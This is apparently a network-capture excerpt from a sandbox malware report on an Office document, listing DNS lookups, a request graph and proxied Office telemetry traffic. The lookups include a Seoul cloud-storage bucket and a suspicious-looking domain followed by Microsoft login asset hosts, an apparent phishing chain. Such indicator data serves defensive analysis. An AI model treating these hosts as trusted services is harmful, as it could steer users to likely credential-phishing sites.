Mar 17, 2025 17:03:18.394181967 CET	192.168.2.17	1.1.1.1	0xf3ee	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Mar 17, 2025 17:03:18.394946098 CET	192.168.2.17	1.1.1.1	0xd39c	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:18.395128012 CET	192.168.2.17	1.1.1.1	0x17b2	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Mar 17, 2025 17:03:18.396431923 CET	192.168.2.17	1.1.1.1	0xda4f	Standard query (0)	stackpath.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:18.396887064 CET	192.168.2.17	1.1.1.1	0xc60d	Standard query (0)	stackpath.bootstrapcdn.com	65	IN (0x0001)	false
Mar 17, 2025 17:03:18.397248983 CET	192.168.2.17	1.1.1.1	0x8037	Standard query (0)	1482474975-1317754460.cos.ap-seoul.myqcloud.com	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:18.397408009 CET	192.168.2.17	1.1.1.1	0x2a12	Standard query (0)	1482474975-1317754460.cos.ap-seoul.myqcloud.com	65	IN (0x0001)	false
Mar 17, 2025 17:03:19.111788988 CET	192.168.2.17	1.1.1.1	0x9cde	Standard query (0)	1482474975-1317754460.cos.ap-seoul.myqcloud.com	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:19.111958027 CET	192.168.2.17	1.1.1.1	0xcdd9	Standard query (0)	1482474975-1317754460.cos.ap-seoul.myqcloud.com	65	IN (0x0001)	false
Mar 17, 2025 17:03:23.008739948 CET	192.168.2.17	1.1.1.1	0x2621	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:23.008893967 CET	192.168.2.17	1.1.1.1	0xb7c1	Standard query (0)	www.google.com	65	IN (0x0001)	false
Mar 17, 2025 17:03:23.354240894 CET	192.168.2.17	1.1.1.1	0xab69	Standard query (0)	blezzed.fable.it.com	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:23.354506969 CET	192.168.2.17	1.1.1.1	0x6754	Standard query (0)	blezzed.fable.it.com	65	IN (0x0001)	false
Mar 17, 2025 17:03:23.355410099 CET	192.168.2.17	1.1.1.1	0x5f1f	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:23.355645895 CET	192.168.2.17	1.1.1.1	0x1be1	Standard query (0)	cdn.jsdelivr.net	65	IN (0x0001)	false
Mar 17, 2025 17:03:28.534372091 CET	192.168.2.17	1.1.1.1	0xa8b0	Standard query (0)	blezzed.fable.it.com	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:28.534516096 CET	192.168.2.17	1.1.1.1	0xda4b	Standard query (0)	blezzed.fable.it.com	65	IN (0x0001)	false
Mar 17, 2025 17:03:31.552377939 CET	192.168.2.17	1.1.1.1	0xb7c6	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:31.552589893 CET	192.168.2.17	1.1.1.1	0xf446	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Mar 17, 2025 17:03:32.483292103 CET	192.168.2.17	1.1.1.1	0x5e54	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:32.483442068 CET	192.168.2.17	1.1.1.1	0xc5a0	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Mar 17, 2025 17:03:33.108331919 CET	192.168.2.17	1.1.1.1	0xfe94	Standard query (0)	aadcdn.msauthimages.net	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:33.108479023 CET	192.168.2.17	1.1.1.1	0xf940	Standard query (0)	aadcdn.msauthimages.net	65	IN (0x0001)	false
Mar 17, 2025 17:03:34.890407085 CET	192.168.2.17	1.1.1.1	0xc0b9	Standard query (0)	aadcdn.msauthimages.net	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:34.890578032 CET	192.168.2.17	1.1.1.1	0x723a	Standard query (0)	aadcdn.msauthimages.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 17, 2025 17:03:18.400079012 CET	1.1.1.1	192.168.2.17	0x3021	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:18.400079012 CET	1.1.1.1	192.168.2.17	0x3021	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:18.400079012 CET	1.1.1.1	192.168.2.17	0x3021	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:18.400079012 CET	1.1.1.1	192.168.2.17	0x3021	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:18.400724888 CET	1.1.1.1	192.168.2.17	0xea7b	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:18.400724888 CET	1.1.1.1	192.168.2.17	0xea7b	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:18.402507067 CET	1.1.1.1	192.168.2.17	0xf3ee	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Mar 17, 2025 17:03:18.402517080 CET	1.1.1.1	192.168.2.17	0xd39c	No error (0)	maxcdn.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:18.402517080 CET	1.1.1.1	192.168.2.17	0xd39c	No error (0)	maxcdn.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:18.402822018 CET	1.1.1.1	192.168.2.17	0x17b2	No error (0)	maxcdn.bootstrapcdn.com			65	IN (0x0001)	false
Mar 17, 2025 17:03:18.404242039 CET	1.1.1.1	192.168.2.17	0xda4f	No error (0)	stackpath.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:18.404242039 CET	1.1.1.1	192.168.2.17	0xda4f	No error (0)	stackpath.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:18.404627085 CET	1.1.1.1	192.168.2.17	0xc60d	No error (0)	stackpath.bootstrapcdn.com			65	IN (0x0001)	false
Mar 17, 2025 17:03:19.178679943 CET	1.1.1.1	192.168.2.17	0x8037	No error (0)	1482474975-1317754460.cos.ap-seoul.myqcloud.com	cos.ap-seoul.myqcloud.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 17, 2025 17:03:19.178679943 CET	1.1.1.1	192.168.2.17	0x8037	No error (0)	cos.ap-seoul.myqcloud.com		119.28.147.117	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:19.178679943 CET	1.1.1.1	192.168.2.17	0x8037	No error (0)	cos.ap-seoul.myqcloud.com		119.28.146.206	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:19.523237944 CET	1.1.1.1	192.168.2.17	0x9cde	No error (0)	1482474975-1317754460.cos.ap-seoul.myqcloud.com	cos.ap-seoul.myqcloud.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 17, 2025 17:03:19.523237944 CET	1.1.1.1	192.168.2.17	0x9cde	No error (0)	cos.ap-seoul.myqcloud.com		119.28.146.206	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:19.523237944 CET	1.1.1.1	192.168.2.17	0x9cde	No error (0)	cos.ap-seoul.myqcloud.com		119.28.147.117	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:23.015511036 CET	1.1.1.1	192.168.2.17	0x2621	No error (0)	www.google.com		142.250.184.228	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:23.015523911 CET	1.1.1.1	192.168.2.17	0xb7c1	No error (0)	www.google.com			65	IN (0x0001)	false
Mar 17, 2025 17:03:23.361840963 CET	1.1.1.1	192.168.2.17	0x5f1f	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 17, 2025 17:03:23.361840963 CET	1.1.1.1	192.168.2.17	0x5f1f	No error (0)	jsdelivr.map.fastly.net		151.101.129.229	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:23.361840963 CET	1.1.1.1	192.168.2.17	0x5f1f	No error (0)	jsdelivr.map.fastly.net		151.101.1.229	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:23.361840963 CET	1.1.1.1	192.168.2.17	0x5f1f	No error (0)	jsdelivr.map.fastly.net		151.101.65.229	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:23.361840963 CET	1.1.1.1	192.168.2.17	0x5f1f	No error (0)	jsdelivr.map.fastly.net		151.101.193.229	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:23.362287998 CET	1.1.1.1	192.168.2.17	0x1be1	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 17, 2025 17:03:23.368225098 CET	1.1.1.1	192.168.2.17	0x6754	No error (0)	blezzed.fable.it.com			65	IN (0x0001)	false
Mar 17, 2025 17:03:23.370558023 CET	1.1.1.1	192.168.2.17	0xab69	No error (0)	blezzed.fable.it.com		172.67.210.51	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:23.370558023 CET	1.1.1.1	192.168.2.17	0xab69	No error (0)	blezzed.fable.it.com		104.21.91.45	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:28.548677921 CET	1.1.1.1	192.168.2.17	0xda4b	No error (0)	blezzed.fable.it.com			65	IN (0x0001)	false
Mar 17, 2025 17:03:28.551882029 CET	1.1.1.1	192.168.2.17	0xa8b0	No error (0)	blezzed.fable.it.com		104.21.91.45	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:28.551882029 CET	1.1.1.1	192.168.2.17	0xa8b0	No error (0)	blezzed.fable.it.com		172.67.210.51	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:31.560091972 CET	1.1.1.1	192.168.2.17	0xf446	No error (0)	aadcdn.msftauth.net	www.tm.aadcdn.msftauth.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 17, 2025 17:03:31.560091972 CET	1.1.1.1	192.168.2.17	0xf446	No error (0)	www.tm.aadcdn.msftauth.trafficmanager.net	aadcdn.msftauth.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 17, 2025 17:03:31.560091972 CET	1.1.1.1	192.168.2.17	0xf446	No error (0)	aadcdn.msftauth.edgekey.net	e329293.dscd.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 17, 2025 17:03:31.561367035 CET	1.1.1.1	192.168.2.17	0xb7c6	No error (0)	aadcdn.msftauth.net	www.tm.aadcdn.msftauth.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 17, 2025 17:03:31.561367035 CET	1.1.1.1	192.168.2.17	0xb7c6	No error (0)	www.tm.aadcdn.msftauth.akadns.net	aadcdn.msftauth.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 17, 2025 17:03:31.561367035 CET	1.1.1.1	192.168.2.17	0xb7c6	No error (0)	aadcdn.msftauth.edgekey.net	e329293.dscd.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 17, 2025 17:03:31.561367035 CET	1.1.1.1	192.168.2.17	0xb7c6	No error (0)	e329293.dscd.akamaiedge.net		92.123.12.181	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:31.561367035 CET	1.1.1.1	192.168.2.17	0xb7c6	No error (0)	e329293.dscd.akamaiedge.net		92.123.12.139	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:31.606380939 CET	1.1.1.1	192.168.2.17	0x1dae	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 17, 2025 17:03:31.606380939 CET	1.1.1.1	192.168.2.17	0x1dae	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:32.373174906 CET	1.1.1.1	192.168.2.17	0xded	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 17, 2025 17:03:32.373174906 CET	1.1.1.1	192.168.2.17	0xded	No error (0)	azurefd-t-fb-prod.trafficmanager.net	dual.s-part-0044.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 17, 2025 17:03:32.373174906 CET	1.1.1.1	192.168.2.17	0xded	No error (0)	dual.s-part-0044.t-0009.fb-t-msedge.net	s-part-0044.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 17, 2025 17:03:32.373174906 CET	1.1.1.1	192.168.2.17	0xded	No error (0)	s-part-0044.t-0009.fb-t-msedge.net		13.107.253.72	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:32.490947962 CET	1.1.1.1	192.168.2.17	0x5e54	No error (0)	aadcdn.msftauth.net	www.tm.aadcdn.msftauth.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 17, 2025 17:03:32.490947962 CET	1.1.1.1	192.168.2.17	0x5e54	No error (0)	www.tm.aadcdn.msftauth.akadns.net	aadcdn.msftauth.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 17, 2025 17:03:32.490947962 CET	1.1.1.1	192.168.2.17	0x5e54	No error (0)	aadcdn.msftauth.edgekey.net	e329293.dscd.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 17, 2025 17:03:32.490947962 CET	1.1.1.1	192.168.2.17	0x5e54	No error (0)	e329293.dscd.akamaiedge.net		92.123.12.139	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:32.490947962 CET	1.1.1.1	192.168.2.17	0x5e54	No error (0)	e329293.dscd.akamaiedge.net		92.123.12.181	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:32.491492033 CET	1.1.1.1	192.168.2.17	0xc5a0	No error (0)	aadcdn.msftauth.net	www.tm.aadcdn.msftauth.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 17, 2025 17:03:32.491492033 CET	1.1.1.1	192.168.2.17	0xc5a0	No error (0)	www.tm.aadcdn.msftauth.trafficmanager.net	aadcdn.msftauth.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 17, 2025 17:03:32.491492033 CET	1.1.1.1	192.168.2.17	0xc5a0	No error (0)	aadcdn.msftauth.edgekey.net	e329293.dscd.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 17, 2025 17:03:33.115900040 CET	1.1.1.1	192.168.2.17	0xfe94	No error (0)	aadcdn.msauthimages.net	www.tm.aadmsodsxstore01prod.msauthimages.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 17, 2025 17:03:33.115900040 CET	1.1.1.1	192.168.2.17	0xfe94	No error (0)	www.tm.aadmsodsxstore01prod.msauthimages.trafficmanager.net	aadmsodsxstore01prod.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 17, 2025 17:03:33.115900040 CET	1.1.1.1	192.168.2.17	0xfe94	No error (0)	aadmsodsxstore01prod.edgekey.net	e329293.dscd.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 17, 2025 17:03:33.115900040 CET	1.1.1.1	192.168.2.17	0xfe94	No error (0)	e329293.dscd.akamaiedge.net		95.101.182.112	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:33.115900040 CET	1.1.1.1	192.168.2.17	0xfe94	No error (0)	e329293.dscd.akamaiedge.net		95.101.182.65	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:33.140826941 CET	1.1.1.1	192.168.2.17	0xf940	No error (0)	aadcdn.msauthimages.net	www.tm.aadmsodsxstore01prod.msauthimages.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 17, 2025 17:03:33.140826941 CET	1.1.1.1	192.168.2.17	0xf940	No error (0)	www.tm.aadmsodsxstore01prod.msauthimages.trafficmanager.net	aadmsodsxstore01prod.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 17, 2025 17:03:33.140826941 CET	1.1.1.1	192.168.2.17	0xf940	No error (0)	aadmsodsxstore01prod.edgekey.net	e329293.dscd.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 17, 2025 17:03:34.901623011 CET	1.1.1.1	192.168.2.17	0xc0b9	No error (0)	aadcdn.msauthimages.net	www.tm.aadmsodsxstore01prod.msauthimages.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 17, 2025 17:03:34.901623011 CET	1.1.1.1	192.168.2.17	0xc0b9	No error (0)	www.tm.aadmsodsxstore01prod.msauthimages.trafficmanager.net	aadmsodsxstore01prod.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 17, 2025 17:03:34.901623011 CET	1.1.1.1	192.168.2.17	0xc0b9	No error (0)	aadmsodsxstore01prod.edgekey.net	e329293.dscd.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 17, 2025 17:03:34.901623011 CET	1.1.1.1	192.168.2.17	0xc0b9	No error (0)	e329293.dscd.akamaiedge.net		95.101.182.98	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:34.901623011 CET	1.1.1.1	192.168.2.17	0xc0b9	No error (0)	e329293.dscd.akamaiedge.net		95.101.182.89	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:34.901623011 CET	1.1.1.1	192.168.2.17	0xc0b9	No error (0)	e329293.dscd.akamaiedge.net		95.101.182.65	A (IP address)	IN (0x0001)	false
Mar 17, 2025 17:03:34.901788950 CET	1.1.1.1	192.168.2.17	0x723a	No error (0)	aadcdn.msauthimages.net	www.tm.aadmsodsxstore01prod.msauthimages.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 17, 2025 17:03:34.901788950 CET	1.1.1.1	192.168.2.17	0x723a	No error (0)	www.tm.aadmsodsxstore01prod.msauthimages.trafficmanager.net	aadmsodsxstore01prod.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 17, 2025 17:03:34.901788950 CET	1.1.1.1	192.168.2.17	0x723a	No error (0)	aadmsodsxstore01prod.edgekey.net	e329293.dscd.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

otelrules.svc.static.microsoft

stackpath.bootstrapcdn.com

cdnjs.cloudflare.com

maxcdn.bootstrapcdn.com

code.jquery.com

1482474975-1317754460.cos.ap-seoul.myqcloud.com

cdn.jsdelivr.net

blezzed.fable.it.com

aadcdn.msftauth.net

aadcdn.msauthimages.net

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.17	49701	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:11 UTC	199	OUT	GET /rules/rule703951v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:12 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:11 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3F2C6F2" x-ms-request-id: d9e5f5ce-701e-0001-1933-97b110000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160311Z-186895dd8bd5zpn7hC1EWRryhc00000006a000000000f6zm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2025-03-17 16:03:12 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 46 6c 6f 6f 64 67 61 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703951" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Floodgate.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.17	49699	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:11 UTC	199	OUT	GET /rules/rule703151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:12 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:11 GMT Content-Type: text/xml Content-Length: 1411 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:52 GMT ETag: "0x8DC582BE486B11C" x-ms-request-id: 93f2ef87-a01e-003d-3551-9798d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160311Z-186895dd8bdmf545hC1EWRky1s00000008tg000000004t2s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:12 UTC	1411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 47 6c 6f 62 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Globalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantT

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.17	49700	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:11 UTC	199	OUT	GET /rules/rule700601v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:12 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:11 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0D77C58" x-ms-request-id: d866c0e5-b01e-005c-2f52-974c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160311Z-186895dd8bdkvr8rhC1EWR0teg00000004ag00000000f3xc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:12 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 36 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 47 72 61 70 68 69 63 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 47 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700601" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Graphics.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenG

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.17	49703	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:11 UTC	199	OUT	GET /rules/rule703150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:12 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:11 GMT Content-Type: text/xml Content-Length: 1374 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC6E5EC0" x-ms-request-id: 4c106df0-401e-0035-5a51-9782d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160311Z-186895dd8bd77tnghC1EWRfgvg0000000420000000008gb5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:12 UTC	1374	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 47 6c 6f 62 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 47 6c 6f 62 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Globalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenGlobalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.17	49702	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:11 UTC	199	OUT	GET /rules/rule700600v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
